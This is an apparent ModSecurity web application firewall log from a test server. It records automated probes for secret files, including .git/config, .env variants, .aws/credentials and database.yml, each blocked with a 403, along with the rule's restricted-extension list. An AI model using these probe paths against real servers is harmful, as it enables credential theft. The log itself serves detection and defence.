[Mon Dec 08 05:18:05.030730 2025] [:error] [pid 595251] [client 206.81.24.74:53176] [client 206.81.24.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTZRfU4-2Zoq-VaBtMRODgAAAAs"]
[Mon Dec 08 10:10:01.044349 2025] [:error] [pid 595259] [client 194.180.49.173:62826] [client 194.180.49.173] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTaV6d1yyOoL7tHiOlc18gAAAA4"]
[Mon Dec 08 10:10:01.044575 2025] [:error] [pid 595259] [client 194.180.49.173:62826] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTaV6d1yyOoL7tHiOlc18gAAAA4"]
[Mon Dec 08 10:10:01.044753 2025] [:error] [pid 595259] [client 194.180.49.173:62826] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTaV6d1yyOoL7tHiOlc18gAAAA4"]
[Mon Dec 08 10:10:01.144260 2025] [:error] [pid 595245] [client 194.180.49.173:62830] [client 194.180.49.173] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTaV6YaGXaI8wMl6vpNMNQAAAAg"]
[Mon Dec 08 10:10:01.144523 2025] [:error] [pid 595245] [client 194.180.49.173:62830] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTaV6YaGXaI8wMl6vpNMNQAAAAg"]
[Mon Dec 08 10:10:01.144771 2025] [:error] [pid 595245] [client 194.180.49.173:62830] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTaV6YaGXaI8wMl6vpNMNQAAAAg"]
[Mon Dec 08 10:10:01.323454 2025] [:error] [pid 595266] [client 194.180.49.173:62846] [client 194.180.49.173] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aTaV6XCstcovYVpwa4VbUAAAABE"]
[Mon Dec 08 10:10:01.323723 2025] [:error] [pid 595266] [client 194.180.49.173:62846] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aTaV6XCstcovYVpwa4VbUAAAABE"]
[Mon Dec 08 10:10:01.323909 2025] [:error] [pid 595266] [client 194.180.49.173:62846] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aTaV6XCstcovYVpwa4VbUAAAABE"]
[Mon Dec 08 10:10:01.425495 2025] [:error] [pid 594973] [client 194.180.49.173:62854] [client 194.180.49.173] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aTaV6Wup1V1Hp6wm7uvsawAAAAA"]
[Mon Dec 08 10:10:01.425728 2025] [:error] [pid 594973] [client 194.180.49.173:62854] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aTaV6Wup1V1Hp6wm7uvsawAAAAA"]
[Mon Dec 08 10:10:01.425919 2025] [:error] [pid 594973] [client 194.180.49.173:62854] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aTaV6Wup1V1Hp6wm7uvsawAAAAA"]
[Mon Dec 08 10:10:01.583338 2025] [:error] [pid 601490] [client 194.180.49.173:62868] [client 194.180.49.173] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aTaV6SCBK73VuHmdpwJq_QAAAAE"]
[Mon Dec 08 10:10:01.583573 2025] [:error] [pid 601490] [client 194.180.49.173:62868] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aTaV6SCBK73VuHmdpwJq_QAAAAE"]
[Mon Dec 08 10:10:01.583781 2025] [:error] [pid 601490] [client 194.180.49.173:62868] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aTaV6SCBK73VuHmdpwJq_QAAAAE"]
[Mon Dec 08 10:10:01.709502 2025] [:error] [pid 594977] [client 194.180.49.173:62880] [client 194.180.49.173] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aTaV6ZXr0iaro2iz9FuURAAAAAQ"]
[Mon Dec 08 10:10:01.709908 2025] [:error] [pid 594977] [client 194.180.49.173:62880] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aTaV6ZXr0iaro2iz9FuURAAAAAQ"]
[Mon Dec 08 10:10:01.710195 2025] [:error] [pid 594977] [client 194.180.49.173:62880] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aTaV6ZXr0iaro2iz9FuURAAAAAQ"]
[Mon Dec 08 10:10:01.893553 2025] [:error] [pid 595253] [client 194.180.49.173:62888] [client 194.180.49.173] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aTaV6QlbN3HvOuH6IPY78gAAAA0"]
[Mon Dec 08 10:10:01.893785 2025] [:error] [pid 595253] [client 194.180.49.173:62888] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aTaV6QlbN3HvOuH6IPY78gAAAA0"]
[Mon Dec 08 10:10:01.893965 2025] [:error] [pid 595253] [client 194.180.49.173:62888] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aTaV6QlbN3HvOuH6IPY78gAAAA0"]
[Mon Dec 08 10:10:03.511164 2025] [:error] [pid 594975] [client 194.180.49.173:62996] [client 194.180.49.173] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aTaV6xecghAXZF1I4kEaugAAAAI"]
[Mon Dec 08 10:10:03.511412 2025] [:error] [pid 594975] [client 194.180.49.173:62996] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aTaV6xecghAXZF1I4kEaugAAAAI"]
[Mon Dec 08 10:10:03.511579 2025] [:error] [pid 594975] [client 194.180.49.173:62996] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aTaV6xecghAXZF1I4kEaugAAAAI"]
[Mon Dec 08 10:10:03.636788 2025] [:error] [pid 595251] [client 194.180.49.173:63000] [client 194.180.49.173] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "aTaV604-2Zoq-VaBtMROLQAAAAs"]
[Mon Dec 08 10:10:03.637125 2025] [:error] [pid 595251] [client 194.180.49.173:63000] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "aTaV604-2Zoq-VaBtMROLQAAAAs"]
[Mon Dec 08 10:10:03.637414 2025] [:error] [pid 595251] [client 194.180.49.173:63000] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "aTaV604-2Zoq-VaBtMROLQAAAAs"]
[Mon Dec 08 10:10:03.890804 2025] [:error] [pid 595245] [client 194.180.49.173:63018] [client 194.180.49.173] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/debug.log"] [unique_id "aTaV64aGXaI8wMl6vpNMNwAAAAg"]
[Mon Dec 08 10:10:03.891156 2025] [:error] [pid 595245] [client 194.180.49.173:63018] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/debug.log"] [unique_id "aTaV64aGXaI8wMl6vpNMNwAAAAg"]
[Mon Dec 08 10:10:03.891335 2025] [:error] [pid 595245] [client 194.180.49.173:63018] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/debug.log"] [unique_id "aTaV64aGXaI8wMl6vpNMNwAAAAg"]
[Mon Dec 08 10:10:04.029029 2025] [:error] [pid 595266] [client 194.180.49.173:63024] [client 194.180.49.173] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.js"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.js"] [unique_id "aTaV7HCstcovYVpwa4VbUgAAABE"]
[Mon Dec 08 10:10:04.029275 2025] [:error] [pid 595266] [client 194.180.49.173:63024] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.js"] [unique_id "aTaV7HCstcovYVpwa4VbUgAAABE"]
[Mon Dec 08 10:10:04.029459 2025] [:error] [pid 595266] [client 194.180.49.173:63024] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.js"] [unique_id "aTaV7HCstcovYVpwa4VbUgAAABE"]
[Mon Dec 08 10:10:04.157812 2025] [:error] [pid 594973] [client 194.180.49.173:63030] [client 194.180.49.173] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/debug.log"] [unique_id "aTaV7Gup1V1Hp6wm7uvsbQAAAAA"]
[Mon Dec 08 10:10:04.158156 2025] [:error] [pid 594973] [client 194.180.49.173:63030] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/debug.log"] [unique_id "aTaV7Gup1V1Hp6wm7uvsbQAAAAA"]
[Mon Dec 08 10:10:04.158333 2025] [:error] [pid 594973] [client 194.180.49.173:63030] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/debug.log"] [unique_id "aTaV7Gup1V1Hp6wm7uvsbQAAAAA"]
[Mon Dec 08 10:10:04.281821 2025] [:error] [pid 601490] [client 194.180.49.173:63044] [client 194.180.49.173] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/error.log"] [unique_id "aTaV7CCBK73VuHmdpwJq_wAAAAE"]
